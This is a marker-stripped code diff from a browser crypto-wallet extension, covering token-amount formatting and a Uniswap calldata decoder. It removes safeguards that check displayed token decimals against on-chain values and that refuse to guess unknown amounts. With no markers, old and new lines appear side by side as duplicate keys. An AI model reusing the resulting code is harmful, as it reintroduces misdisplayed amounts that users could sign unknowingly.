||||
normalizeAddress(from) === addrLower ? "sent" : "received";
|
||||
const sym = tt.token?.symbol || "?";
|
||||
// Without a scale there is no token quantity, so none is stated: the list
|
||||
// row falls back to the symbol alone and the detail screen to its
|
||||
// direction label, exactly as the contract-call rows above already do.
|
||||
// The exact figure is not lost — it is the base-unit line below, which is
|
||||
// the one number that needs no scale to be true.
|
||||
const formatted =
|
||||
decimals === null ? "" : formatTxValue(formatUnits(rawVal, decimals));
|
||||
const exact = decimals === null ? "" : formatUnits(rawVal, decimals);
|
||||
return {
|
||||
hash: tt.transaction_hash,
|
||||
blockNumber: tt.block_number,
|
||||
timestamp: Math.floor(new Date(tt.timestamp).getTime() / 1000),
|
||||
from: from,
|
||||
to: to,
|
||||
value: formatted,
|
||||
exactValue: exact,
|
||||
value: formatTxValue(formatUnits(rawVal, decimals)),
|
||||
exactValue: formatUnits(rawVal, decimals),
|
||||
rawAmount: rawVal,
|
||||
rawUnit:
|
||||
decimals === null
|
||||
? sym + " base units (decimals unknown)"
|
||||
: sym + " base units (10^-" + decimals + ")",
|
||||
rawUnit: sym + " base units (10^-" + decimals + ")",
|
||||
valueGwei: null,
|
||||
symbol: sym,
|
||||
direction: direction,
|
||||
|
||||
@@ -1,126 +0,0 @@
|
||||
// The base-unit amount an ERC-20 transfer from the wallet's own Send screen is
|
||||
// encoded with.
|
||||
//
|
||||
// A token amount is a decimal string plus a scale, and the two come from
|
||||
// different places. The confirmation screen renders the amount, the balance and
|
||||
// the symbol from the block explorer's cached metadata (see
|
||||
// fetchTokenBalances() in balances.js); the transfer used to be encoded from
|
||||
// decimals() read off the contract at signing time, and nothing compared the
|
||||
// two. A token whose on-chain scale differs from the cached one — an
|
||||
// upgradeable or proxy token, a caller-dependent one, a stale or wrong explorer
|
||||
// entry — therefore signed an amount that was never displayed, off by a power
|
||||
// of ten for every decimal place of disagreement.
|
||||
//
|
||||
// So the scale used to encode is the scale the screen rendered with, carried
|
||||
// forward on the pending transaction, and the contract's own answer is read
|
||||
// only to be compared with it. A disagreement is a refusal, never a preference
|
||||
// for either number: the wallet cannot tell which of the two the user meant,
|
||||
// and both candidate transfers move an amount nobody approved.
|
||||
//
|
||||
// This is the confirmTx counterpart to approvalVerify.js, which does the same
|
||||
// job for the dApp approval path, and it takes the same stance: a quantity that
|
||||
// cannot be compared with what was displayed has not been checked, so an absent
|
||||
// or unusable value is refused rather than filled in.
|
||||
//
|
||||
// Every message here is shown to the user on the transaction error screen, so
|
||||
// each is a full sentence and names the numbers it is refusing over.
|
||||
|
||||
const { parseUnits } = require("ethers");
|
||||
|
||||
// Solidity's decimals() returns a uint8, so anything outside that range is not
|
||||
// an answer this wallet can use.
|
||||
const MAX_DECIMALS = 255;
|
||||
|
||||
const UNKNOWN_DISPLAYED_DECIMALS_MESSAGE =
|
||||
"The transfer was not sent, because the number of decimal places this" +
|
||||
" amount was shown with is unknown, so the amount that would be signed" +
|
||||
" cannot be shown to be the amount that was displayed.";
|
||||
|
||||
const UNREADABLE_CONTRACT_DECIMALS_MESSAGE =
|
||||
"The transfer was not sent, because the token contract did not report a" +
|
||||
" usable number of decimal places, so the amount that would be signed" +
|
||||
" cannot be checked against the amount that was displayed.";
|
||||
|
||||
function mismatchMessage(displayed, onChain) {
|
||||
return (
|
||||
"The transfer was not sent. The token contract reports " +
|
||||
onChain +
|
||||
" decimal places, but the amount was displayed using " +
|
||||
displayed +
|
||||
", so signing it would move a different amount than the one shown." +
|
||||
" Reopen the wallet to reload this token's details and try again."
|
||||
);
|
||||
}
|
||||
|
||||
// A decimals value from any source as a number, or null if it is not one.
|
||||
// decimals() comes back from ethers as a bigint and the explorer's copy arrives
|
||||
// as a string, so both of those are accepted alongside a plain number; anything
|
||||
// fractional, negative, out of uint8 range, or of any other type at all is not.
|
||||
//
|
||||
// The types are enumerated rather than coerced because Number() is far too
|
||||
// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
|
||||
// admit an empty array as a scale of zero and encode a whole-token transfer
|
||||
// against it. Absence answers null and never a default, and a real scale of
|
||||
// ZERO answers 0 — the two are different answers, which is the whole point:
|
||||
// a falsy-collapsing `value || 18` cannot tell them apart, and neither can a
|
||||
// reader of what it wrote (https://git.eeqj.de/sneak/AutistMask/issues/246).
|
||||
//
|
||||
// Exported because every module that has to decide whether it knows a token's
|
||||
// scale needs exactly this test, and three separate copies of it is three
|
||||
// places for the answer to drift: approvalAmount.js resolves the scale the
|
||||
// approval screens display at, and balances.js decides what the explorer
|
||||
// actually reported before it is stored.
|
||||
function toDecimals(value) {
|
||||
let n;
|
||||
if (typeof value === "number") {
|
||||
n = value;
|
||||
} else if (typeof value === "bigint") {
|
||||
if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
|
||||
n = Number(value);
|
||||
} else if (typeof value === "string") {
|
||||
if (!/^[0-9]+$/.test(value)) return null;
|
||||
n = Number(value);
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
|
||||
return n;
|
||||
}
|
||||
|
||||
// The decimals the confirmation screen rendered an amount with, as a number.
|
||||
// Throws when the pending transaction does not carry a usable one — which is
|
||||
// also what keeps the gas estimate from quietly estimating a different transfer
|
||||
// than the one that would be signed.
|
||||
function displayedDecimals(value) {
|
||||
const displayed = toDecimals(value);
|
||||
if (displayed === null) {
|
||||
throw new Error(UNKNOWN_DISPLAYED_DECIMALS_MESSAGE);
|
||||
}
|
||||
return displayed;
|
||||
}
|
||||
|
||||
// The transfer amount in the token's base units, or a throw. `amount` is the
|
||||
// decimal string the user typed and the screen displayed, `displayed` is the
|
||||
// scale it was displayed at, and `onChain` is what the contract's decimals()
|
||||
// answered at signing time. The two scales must agree.
|
||||
function transferAmountUnits(amount, displayed, onChain) {
|
||||
const shown = displayedDecimals(displayed);
|
||||
const reported = toDecimals(onChain);
|
||||
if (reported === null) {
|
||||
throw new Error(UNREADABLE_CONTRACT_DECIMALS_MESSAGE);
|
||||
}
|
||||
if (reported !== shown) {
|
||||
throw new Error(mismatchMessage(shown, reported));
|
||||
}
|
||||
return parseUnits(String(amount), shown);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
displayedDecimals,
|
||||
transferAmountUnits,
|
||||
mismatchMessage,
|
||||
toDecimals,
|
||||
MAX_DECIMALS,
|
||||
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
|
||||
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
|
||||
};
|
||||
@@ -82,7 +82,7 @@ function toFixedPoint(value) {
|
||||
if (text === "") return null;
|
||||
try {
|
||||
return parseUnits(text, SCALE_DECIMALS);
|
||||
} catch {
|
||||
} catch (e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,11 +3,6 @@
|
||||
|
||||
const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
const { truncateAmountNeverZero } = require("./amountDisplay");
|
||||
const {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
} = require("./approvalAmount");
|
||||
|
||||
const coder = AbiCoder.defaultAbiCoder();
|
||||
|
||||
@@ -39,112 +34,20 @@ const COMMAND_NAMES = {
|
||||
0x21: "Execute Sub-Plan",
|
||||
};
|
||||
|
||||
// The swap's Amount and Min. received lines land on the same approval screen,
|
||||
// and Amount is carried to the wait/success/error screens as the ERC-20 line
|
||||
// is, so they take the same nonzero floor: a swap of an amount below 0.0001 is
|
||||
// not "0.0000", and a slippage floor of one base unit does not read as "you may
|
||||
// receive nothing".
|
||||
function formatAmount(raw, decimals) {
|
||||
return truncateAmountNeverZero(formatUnits(raw, decimals));
|
||||
const parts = formatUnits(raw, decimals).split(".");
|
||||
if (parts.length === 1) return parts[0] + ".0000";
|
||||
const dec = (parts[1] + "0000").slice(0, 4);
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
// One wording for either side of the screen: a currency the calldata never
|
||||
// named. It reads as a refusal, the same stance unknownDecimalsAmount() takes
|
||||
// on a scale — not as a token name, and not as a quantity.
|
||||
const UNNAMED_CURRENCY = "Unknown (not named in the calldata)";
|
||||
|
||||
// Explicit presence, never truthiness. Every gate in this file that guards a
|
||||
// decoded value goes through here: an address is never falsy once set, but an
|
||||
// amount of 0n is, and a gate that cannot tell a genuine zero from an absent
|
||||
// value is the trap this decoder has now been bitten by five times.
|
||||
function present(value) {
|
||||
return value !== null && value !== undefined;
|
||||
}
|
||||
|
||||
// Uniswap V4 spells "use the whole open delta" as an amount of zero:
|
||||
// v4-periphery `src/libraries/ActionConstants.sol` declares
|
||||
// `uint128 internal constant OPEN_DELTA = 0` ("used to signal that an action
|
||||
// should use the input value of the open delta on the pool manager or of the
|
||||
// balance that the contract holds"), and `src/V4Router.sol` substitutes the
|
||||
// full open credit whenever an exact-in swap action's `amountIn` equals it:
|
||||
//
|
||||
// uint128 amountIn = params.amountIn;
|
||||
// if (amountIn == ActionConstants.OPEN_DELTA) {
|
||||
// amountIn = _getFullCredit(...).toUint128();
|
||||
// }
|
||||
//
|
||||
// in both `_swapExactInputSingle` and `_swapExactInput`. Sentinel and literal
|
||||
// zero are the same uint128 word, so the encoding CANNOT distinguish them —
|
||||
// and the router does not try: it reads every zero as the sentinel, so in V4
|
||||
// there is no such thing as an exact-in swap of literally zero. The amount is
|
||||
// therefore not stated by the calldata at all; it is whatever credit is open
|
||||
// at execution time. It is carried as this sentinel rather than as 0n because
|
||||
// printing "0.0000" would state the exact inverse of what will happen —
|
||||
// "nothing is being swapped" for a step that swaps the entire balance.
|
||||
//
|
||||
// `amountOutMinimum` gets no such mapping: V4Router compares it directly
|
||||
// (`if (amountOut < params.amountOutMinimum) revert V4TooLittleReceived`), so
|
||||
// a zero minimum is a literal zero slippage floor and is stated as one. Nor do
|
||||
// the V2/V3 paths have it — universal-router's `V3SwapRouter.v3SwapExactInput`
|
||||
// special-cases only `ActionConstants.CONTRACT_BALANCE` (1<<255), never zero —
|
||||
// so a zero `amountIn` there is a literal zero and is displayed as one.
|
||||
const OPEN_DELTA = Symbol("v4-open-delta");
|
||||
|
||||
// The two amount lines that state a fact instead of a quantity. Same register
|
||||
// as UNNAMED_CURRENCY — a sentence in the value slot, so it cannot be misread
|
||||
// as a number — and deliberately not a third phrasing of "not named": these
|
||||
// say different things.
|
||||
const OPEN_DELTA_AMOUNT = "All available (V4 open delta)";
|
||||
const NO_MINIMUM = "None (no minimum guaranteed)";
|
||||
|
||||
// Permit2 amounts are uint160; the maximum is Permit2's "unbounded".
|
||||
const MAX_UINT160 = BigInt("0xffffffffffffffffffffffffffffffffffffffff");
|
||||
|
||||
// `decimals` is null when nothing knows this token's scale. It is not
|
||||
// defaulted to 18: the swap lines land on the same approval screen as the
|
||||
// ERC-20 line, and a scale guessed there is what showed a 1,000 USDT swap as
|
||||
// 0.000000000001. `sources` is { trackedTokens, wallets }, shaped as they are
|
||||
// on `state`; resolveTokenDecimals() reads the bundled list, then those.
|
||||
//
|
||||
// A null `address` means UNDETERMINED — the calldata named no currency for
|
||||
// that side — and is refused rather than named. It is not native ETH: Uniswap
|
||||
// V4 spells native ETH as `Currency.wrap(address(0))` (v4-core
|
||||
// `type Currency is address`), and a Currency is ABI-encoded as a plain
|
||||
// address word, so every decode site here gets back the truthy string
|
||||
// "0x0000000000000000000000000000000000000000" for it — never null. WRAP_ETH
|
||||
// sets that same explicit zero address, and an UNWRAP_WETH output is caught by
|
||||
// its caller before this is consulted, so nothing that genuinely is ETH
|
||||
// arrives null. Naming a null ETH states the wrong asset and formats its
|
||||
// amount at the wrong scale.
|
||||
function tokenInfo(address, sources) {
|
||||
if (!address) {
|
||||
return { symbol: null, decimals: null, address: null };
|
||||
}
|
||||
if (address === "0x0000000000000000000000000000000000000000") {
|
||||
function tokenInfo(address) {
|
||||
if (!address || address === "0x0000000000000000000000000000000000000000") {
|
||||
return { symbol: "ETH", decimals: 18, address: null };
|
||||
}
|
||||
const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
|
||||
return {
|
||||
symbol: t ? t.symbol : null,
|
||||
decimals: resolveTokenDecimals(address, sources),
|
||||
address,
|
||||
};
|
||||
}
|
||||
|
||||
// A swap amount line. With a scale it is the token quantity; with none it is
|
||||
// the base-unit integer with the unknown scale stated, the same refusal the
|
||||
// ERC-20 amount line makes, so the screen has one way of saying it. `display`
|
||||
// is the line on the screen, `raw` is what the status screens carry.
|
||||
function amountText(raw, info) {
|
||||
if (info.decimals === null) {
|
||||
const unknown = unknownDecimalsAmount(raw);
|
||||
return { raw: unknown, display: unknown };
|
||||
}
|
||||
const formatted = formatAmount(raw, info.decimals);
|
||||
return {
|
||||
raw: formatted,
|
||||
display: formatted + (info.symbol ? " " + info.symbol : ""),
|
||||
};
|
||||
if (t) return { symbol: t.symbol, decimals: t.decimals, address };
|
||||
return { symbol: null, decimals: 18, address };
|
||||
}
|
||||
|
||||
// Decode PERMIT2_PERMIT (command 0x0a) input bytes.
|
||||
@@ -199,11 +102,6 @@ function decodeV2SwapExactIn(input) {
|
||||
// Decode V2_SWAP_EXACT_OUT (command 0x09) input bytes.
|
||||
// ABI: (address recipient, uint256 amountOut, uint256 amountInMax,
|
||||
// address[] path, bool payerIsUser)
|
||||
//
|
||||
// Nothing calls this: decode() has no 0x09 arm, so a V2 exact-out swap gets
|
||||
// its command name and no token or amount detail. Kept for the fix, which is
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/283.
|
||||
// eslint-disable-next-line no-unused-vars
|
||||
function decodeV2SwapExactOut(input) {
|
||||
try {
|
||||
const d = coder.decode(
|
||||
@@ -271,14 +169,6 @@ const V4_SWAP_EXACT_OUT = 0x09;
|
||||
const V4_SETTLE = 0x0b;
|
||||
const V4_TAKE = 0x0e;
|
||||
|
||||
// A V4 exact-in `amountIn`, read the way V4Router reads it: zero is
|
||||
// ActionConstants.OPEN_DELTA, not a quantity of zero. See the OPEN_DELTA
|
||||
// comment above. The exact-OUT actions below decode no amounts at all, so
|
||||
// their own OPEN_DELTA mapping on `amountOut` never reaches the screen.
|
||||
function v4ExactInAmount(raw) {
|
||||
return raw === 0n ? OPEN_DELTA : raw;
|
||||
}
|
||||
|
||||
// Decode V4_SWAP (command 0x10) input bytes.
|
||||
// The input is ABI-encoded as (bytes actions, bytes[] params).
|
||||
// We extract token addresses from SETTLE (input) and TAKE (output) sub-actions,
|
||||
@@ -327,17 +217,13 @@ function decodeV4Swap(input) {
|
||||
],
|
||||
params[i],
|
||||
);
|
||||
if (!present(settleToken)) settleToken = s[0][0];
|
||||
if (!settleToken) settleToken = s[0][0];
|
||||
const path = s[0][1];
|
||||
if (path.length > 0 && !present(takeToken)) {
|
||||
if (path.length > 0 && !takeToken) {
|
||||
takeToken = path[path.length - 1][0];
|
||||
}
|
||||
if (!present(amountIn)) {
|
||||
amountIn = v4ExactInAmount(s[0][2]);
|
||||
}
|
||||
if (!present(amountOutMin)) {
|
||||
amountOutMin = s[0][3];
|
||||
}
|
||||
if (!amountIn) amountIn = s[0][2];
|
||||
if (!amountOutMin) amountOutMin = s[0][3];
|
||||
} catch {
|
||||
// Fall through — SETTLE/TAKE will provide tokens
|
||||
}
|
||||
@@ -353,20 +239,16 @@ function decodeV4Swap(input) {
|
||||
);
|
||||
const poolKey = s[0][0];
|
||||
const zeroForOne = s[0][1];
|
||||
if (!present(settleToken))
|
||||
if (!settleToken)
|
||||
settleToken = zeroForOne
|
||||
? poolKey[0]
|
||||
: poolKey[1];
|
||||
if (!present(takeToken))
|
||||
if (!takeToken)
|
||||
takeToken = zeroForOne
|
||||
? poolKey[1]
|
||||
: poolKey[0];
|
||||
if (!present(amountIn)) {
|
||||
amountIn = v4ExactInAmount(s[0][2]);
|
||||
}
|
||||
if (!present(amountOutMin)) {
|
||||
amountOutMin = s[0][3];
|
||||
}
|
||||
if (!amountIn) amountIn = s[0][2];
|
||||
if (!amountOutMin) amountOutMin = s[0][3];
|
||||
} catch {
|
||||
// Fall through
|
||||
}
|
||||
@@ -383,9 +265,9 @@ function decodeV4Swap(input) {
|
||||
],
|
||||
params[i],
|
||||
);
|
||||
if (!present(takeToken)) takeToken = s[0][0];
|
||||
if (!takeToken) takeToken = s[0][0];
|
||||
const path = s[0][1];
|
||||
if (path.length > 0 && !present(settleToken)) {
|
||||
if (path.length > 0 && !settleToken) {
|
||||
settleToken = path[path.length - 1][0];
|
||||
}
|
||||
} catch {
|
||||
@@ -401,11 +283,11 @@ function decodeV4Swap(input) {
|
||||
);
|
||||
const poolKey = s[0][0];
|
||||
const zeroForOne = s[0][1];
|
||||
if (!present(settleToken))
|
||||
if (!settleToken)
|
||||
settleToken = zeroForOne
|
||||
? poolKey[0]
|
||||
: poolKey[1];
|
||||
if (!present(takeToken))
|
||||
if (!takeToken)
|
||||
takeToken = zeroForOne
|
||||
? poolKey[1]
|
||||
: poolKey[0];
|
||||
@@ -433,7 +315,7 @@ function decodeV4Swap(input) {
|
||||
// Try to decode a Universal Router execute() call.
|
||||
// Returns { name, description, details } matching the format used by
|
||||
// the approval UI, or null if the calldata is not a recognised execute().
|
||||
function decode(data, toAddress, sources) {
|
||||
function decode(data, toAddress) {
|
||||
try {
|
||||
const parsed = ROUTER_IFACE.parseTransaction({ data });
|
||||
if (!parsed) return null;
|
||||
@@ -444,44 +326,11 @@ function decode(data, toAddress, sources) {
|
||||
|
||||
let inputToken = null;
|
||||
let inputAmount = null;
|
||||
let inputEstablished = false;
|
||||
let outputToken = null;
|
||||
let minOutput = null;
|
||||
let hasUnwrapWeth = false;
|
||||
const commandNames = [];
|
||||
|
||||
// THE INVARIANT: an amount and the token it is counted in always come
|
||||
// from the same hop. A figure is never rendered against a token that
|
||||
// did not supply it.
|
||||
//
|
||||
// Both sides are therefore set as a PAIR — never field by field, and
|
||||
// never on truthiness. An address is never falsy once set but an
|
||||
// amount of 0n is, so gating the two halves independently let a hop
|
||||
// with a zero amount fix the token and leave the amount open; the next
|
||||
// hop's figure was then displayed against the first hop's token, at the
|
||||
// first hop's scale. A V3 USDT->WETH hop with amountIn 0 followed by a
|
||||
// V2 WETH->USDC hop of 0.5e18 rendered "500000000000.0000 USDT".
|
||||
//
|
||||
// The input side is fixed by the first hop that states either half, the
|
||||
// output side by the last, because the final leg is what the user
|
||||
// receives. A half the establishing hop did not state stays null and
|
||||
// the line says so, rather than being filled in from a different hop.
|
||||
const setInput = (token, amount) => {
|
||||
inputToken = present(token) ? token : null;
|
||||
inputAmount = present(amount) ? amount : null;
|
||||
inputEstablished = true;
|
||||
};
|
||||
const setInputOnce = (token, amount) => {
|
||||
if (inputEstablished) return;
|
||||
if (!present(token) && !present(amount)) return;
|
||||
setInput(token, amount);
|
||||
};
|
||||
const setOutput = (token, amount) => {
|
||||
if (!present(token) && !present(amount)) return;
|
||||
outputToken = present(token) ? token : null;
|
||||
minOutput = present(amount) ? amount : null;
|
||||
};
|
||||
|
||||
for (let i = 0; i < commandsBytes.length; i++) {
|
||||
const cmdId = commandsBytes[i] & 0x1f;
|
||||
commandNames.push(
|
||||
@@ -492,61 +341,61 @@ function decode(data, toAddress, sources) {
|
||||
try {
|
||||
if (cmdId === 0x0a) {
|
||||
const p = decodePermit2(inputs[i]);
|
||||
// A permit states both halves itself, so it may replace an
|
||||
// input side an earlier hop established without breaking
|
||||
// the invariant.
|
||||
if (p) setInput(p.token, p.amount);
|
||||
if (p) {
|
||||
inputToken = p.token;
|
||||
inputAmount = p.amount;
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdId === 0x0e) {
|
||||
const b = decodeBalanceCheck(inputs[i]);
|
||||
if (b) setOutput(b.token, b.minBalance);
|
||||
if (b) {
|
||||
outputToken = b.token;
|
||||
minOutput = b.minBalance;
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdId === 0x00) {
|
||||
const s = decodeV3SwapExactIn(inputs[i]);
|
||||
if (s) {
|
||||
setInputOnce(s.tokenIn, s.amountIn);
|
||||
if (!inputToken) inputToken = s.tokenIn;
|
||||
if (!inputAmount) inputAmount = s.amountIn;
|
||||
// Always update output: in multi-step swaps (V3 → V4),
|
||||
// the last swap step determines the final output token
|
||||
// and minimum received amount.
|
||||
setOutput(s.tokenOut, s.amountOutMin);
|
||||
outputToken = s.tokenOut;
|
||||
minOutput = s.amountOutMin;
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdId === 0x08) {
|
||||
const s = decodeV2SwapExactIn(inputs[i]);
|
||||
if (s) {
|
||||
setInputOnce(s.tokenIn, s.amountIn);
|
||||
setOutput(s.tokenOut, s.amountOutMin);
|
||||
if (!inputToken) inputToken = s.tokenIn;
|
||||
if (!inputAmount) inputAmount = s.amountIn;
|
||||
outputToken = s.tokenOut;
|
||||
minOutput = s.amountOutMin;
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdId === 0x0b) {
|
||||
const w = decodeWrapEth(inputs[i]);
|
||||
if (w) {
|
||||
setInputOnce(
|
||||
"0x0000000000000000000000000000000000000000",
|
||||
w.amount,
|
||||
);
|
||||
if (w && !inputToken) {
|
||||
inputToken =
|
||||
"0x0000000000000000000000000000000000000000";
|
||||
inputAmount = w.amount;
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdId === 0x10) {
|
||||
const v4 = decodeV4Swap(inputs[i]);
|
||||
if (v4) {
|
||||
setInputOnce(v4.tokenIn, v4.amountIn);
|
||||
// Always update output: last swap step wins. A step
|
||||
// that carries the Min. received figure but decoded no
|
||||
// output currency makes the output *undetermined* — it
|
||||
// is neither ETH nor whatever an earlier step named,
|
||||
// and that figure is no longer counted in that token.
|
||||
// Equally, a step that names an output currency but no
|
||||
// minimum leaves Min. received unstated rather than
|
||||
// keeping an earlier step's figure beside the new
|
||||
// token. setOutput() is both rules; a step that states
|
||||
// neither half leaves the output alone.
|
||||
setOutput(v4.tokenOut, v4.amountOutMin);
|
||||
if (!inputToken && v4.tokenIn) inputToken = v4.tokenIn;
|
||||
if (!inputAmount && v4.amountIn)
|
||||
inputAmount = v4.amountIn;
|
||||
// Always update output: last swap step wins
|
||||
if (v4.tokenOut) outputToken = v4.tokenOut;
|
||||
if (v4.amountOutMin) minOutput = v4.amountOutMin;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -558,14 +407,11 @@ function decode(data, toAddress, sources) {
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve token info. A null token on either side means the calldata
|
||||
// named no currency for it; tokenInfo() refuses rather than calling it
|
||||
// ETH. UNWRAP_WETH is the one output that is ETH without a currency to
|
||||
// decode, and it is answered here rather than left to that rule.
|
||||
const inInfo = tokenInfo(inputToken, sources);
|
||||
// Resolve token info
|
||||
const inInfo = tokenInfo(inputToken);
|
||||
const outInfo = hasUnwrapWeth
|
||||
? { symbol: "ETH", decimals: 18, address: null }
|
||||
: tokenInfo(outputToken, sources);
|
||||
: tokenInfo(outputToken);
|
||||
|
||||
const inSymbol = inInfo.symbol;
|
||||
const outSymbol = outInfo.symbol;
|
||||
@@ -583,7 +429,7 @@ function decode(data, toAddress, sources) {
|
||||
address: toAddress,
|
||||
});
|
||||
|
||||
if (present(inputToken) && present(inInfo.address)) {
|
||||
if (inputToken && inInfo.address) {
|
||||
const label = inSymbol
|
||||
? inSymbol + " (" + inputToken + ")"
|
||||
: inputToken;
|
||||
@@ -595,74 +441,47 @@ function decode(data, toAddress, sources) {
|
||||
});
|
||||
} else if (inSymbol === "ETH") {
|
||||
details.push({ label: "Token In", value: "ETH (native)" });
|
||||
} else {
|
||||
// Nothing established the input token, so the line says that
|
||||
// rather than going missing or naming a token by default. Same
|
||||
// wording as the Token Out refusal below: the two sides of this
|
||||
// screen must not describe the same condition in two ways.
|
||||
details.push({ label: "Token In", value: UNNAMED_CURRENCY });
|
||||
}
|
||||
|
||||
if (present(inputAmount)) {
|
||||
// Two amounts need no scale to describe and are named rather than
|
||||
// formatted: V4's open delta, which is not a quantity at all (see
|
||||
// OPEN_DELTA), and an unbounded permit. The open-delta test comes
|
||||
// first — the sentinel is not a bigint and cannot be compared with
|
||||
// one.
|
||||
let amount;
|
||||
if (inputAmount === OPEN_DELTA) {
|
||||
amount = { raw: OPEN_DELTA_AMOUNT, display: OPEN_DELTA_AMOUNT };
|
||||
} else if (inputAmount >= MAX_UINT160) {
|
||||
amount = { raw: "Unlimited", display: "Unlimited" };
|
||||
} else {
|
||||
amount = amountText(inputAmount, inInfo);
|
||||
}
|
||||
if (inputAmount !== null && inputAmount !== undefined) {
|
||||
const maxUint160 = BigInt(
|
||||
"0xffffffffffffffffffffffffffffffffffffffff",
|
||||
);
|
||||
const isUnlimited = inputAmount >= maxUint160;
|
||||
const amountRaw = isUnlimited
|
||||
? "Unlimited"
|
||||
: formatAmount(inputAmount, inInfo.decimals);
|
||||
const amountStr = isUnlimited
|
||||
? "Unlimited"
|
||||
: amountRaw + (inSymbol ? " " + inSymbol : "");
|
||||
details.push({
|
||||
label: "Amount",
|
||||
value: amount.display,
|
||||
rawValue: amount.raw,
|
||||
value: amountStr,
|
||||
rawValue: amountRaw,
|
||||
});
|
||||
}
|
||||
|
||||
// Keyed on the address, not the symbol: a token absent from the
|
||||
// bundled list has no symbol, and gating the line on one dropped it
|
||||
// entirely, leaving a Min. received figure with nothing saying what is
|
||||
// being received. The Token In line above already falls back to the
|
||||
// address; this does the same.
|
||||
if (present(outInfo.address)) {
|
||||
const label = outSymbol
|
||||
? outSymbol + " (" + outInfo.address + ")"
|
||||
: outInfo.address;
|
||||
details.push({
|
||||
label: "Token Out",
|
||||
value: label,
|
||||
address: outInfo.address,
|
||||
isToken: true,
|
||||
});
|
||||
} else if (outSymbol) {
|
||||
details.push({ label: "Token Out", value: outSymbol });
|
||||
} else {
|
||||
// Nothing established the output token, so the line says that
|
||||
// rather than going missing or naming a token by default, and a
|
||||
// Min. received figure below it is never attached to a token the
|
||||
// calldata did not state.
|
||||
details.push({ label: "Token Out", value: UNNAMED_CURRENCY });
|
||||
if (outSymbol) {
|
||||
if (outInfo.address) {
|
||||
const label = outSymbol
|
||||
? outSymbol + " (" + outputToken + ")"
|
||||
: outputToken;
|
||||
details.push({
|
||||
label: "Token Out",
|
||||
value: label,
|
||||
address: outputToken,
|
||||
isToken: true,
|
||||
});
|
||||
} else {
|
||||
details.push({ label: "Token Out", value: outSymbol });
|
||||
}
|
||||
}
|
||||
|
||||
if (present(minOutput)) {
|
||||
// A zero floor is the one case the user most needs stated: the
|
||||
// swap guarantees nothing back. It is said in words, in the same
|
||||
// register as UNNAMED_CURRENCY, because "0.0000 WETH" reads as an
|
||||
// artifact of the four-decimal rule rather than as "this may
|
||||
// return nothing" — and because it is true at every scale, so it
|
||||
// holds even when the output token's decimals are unknown.
|
||||
details.push({
|
||||
label: "Min. received",
|
||||
value:
|
||||
minOutput === 0n
|
||||
? NO_MINIMUM
|
||||
: amountText(minOutput, outInfo).display,
|
||||
});
|
||||
if (minOutput !== null && minOutput !== undefined) {
|
||||
const minStr =
|
||||
formatAmount(minOutput, outInfo.decimals) +
|
||||
(outSymbol ? " " + outSymbol : "");
|
||||
details.push({ label: "Min. received", value: minStr });
|
||||
}
|
||||
|
||||
details.push({ label: "Steps", value: commandNames.join(" \u2192 ") });
|
||||
|
||||
@@ -57,7 +57,7 @@ async function cryptoBackend() {
|
||||
try {
|
||||
await WebAssembly.compile(EMPTY_WASM_MODULE);
|
||||
return "wasm";
|
||||
} catch {
|
||||
} catch (_) {
|
||||
return "asmjs";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
// Wallet and address deletion state transitions, kept out of the views so the
|
||||
// selection and broadcast rules are testable without a DOM.
|
||||
|
||||
const { notify } = require("./browserApi");
|
||||
|
||||
// Two records of the same address can be stored in different cases, so
|
||||
// address equality is never a literal string comparison.
|
||||
function sameAddress(a, b) {
|
||||
@@ -146,7 +144,9 @@ function removeAddressFromState(state, walletIdx, addrIdx) {
|
||||
// accountsChanged to connected sites. Same call shape as the address
|
||||
// switch in the home view.
|
||||
function broadcastActiveChanged() {
|
||||
notify({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
runtime.sendMessage({ type: "AUTISTMASK_ACTIVE_CHANGED" });
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
|
||||
@@ -1,238 +0,0 @@
|
||||
// The USD total of an address that holds something this build cannot price
|
||||
// (issue #261).
|
||||
//
|
||||
// Prices exist for the top 25 tokens only, so an address can hold real assets
|
||||
// with no price attached. Summing what is priced and printing the result as
|
||||
// the total says "$0.00" for an address holding nothing but unpriced tokens —
|
||||
// worth-nothing and worth-an-unknown-amount collapsed into one number, in the
|
||||
// direction that matters. The two are separate facts here, the same way an
|
||||
// absent holders_count is not a count of zero.
|
||||
//
|
||||
// The value and its rendering are asserted directly, and then through the two
|
||||
// call sites that return their markup as a string: the wallet list on Home and
|
||||
// the balance warning on the address-removal confirmation. AddressDetail and
|
||||
// the Home summary line render into the DOM and are covered by tests/e2e.
|
||||
|
||||
// helpers.js pulls in state.js, which reads chrome.storage.local at load.
|
||||
globalThis.chrome = {
|
||||
storage: { local: { get: async () => ({}), set: async () => {} } },
|
||||
};
|
||||
|
||||
const {
|
||||
prices,
|
||||
clearPrices,
|
||||
getAddressValue,
|
||||
getWalletValue,
|
||||
getTotalValue,
|
||||
formatAddressTotal,
|
||||
} = require("../src/shared/prices");
|
||||
const { state } = require("../src/shared/state");
|
||||
const { walletListHtml } = require("../src/popup/views/home");
|
||||
const { balanceWarningHtml } = require("../src/popup/views/deleteAddress");
|
||||
|
||||
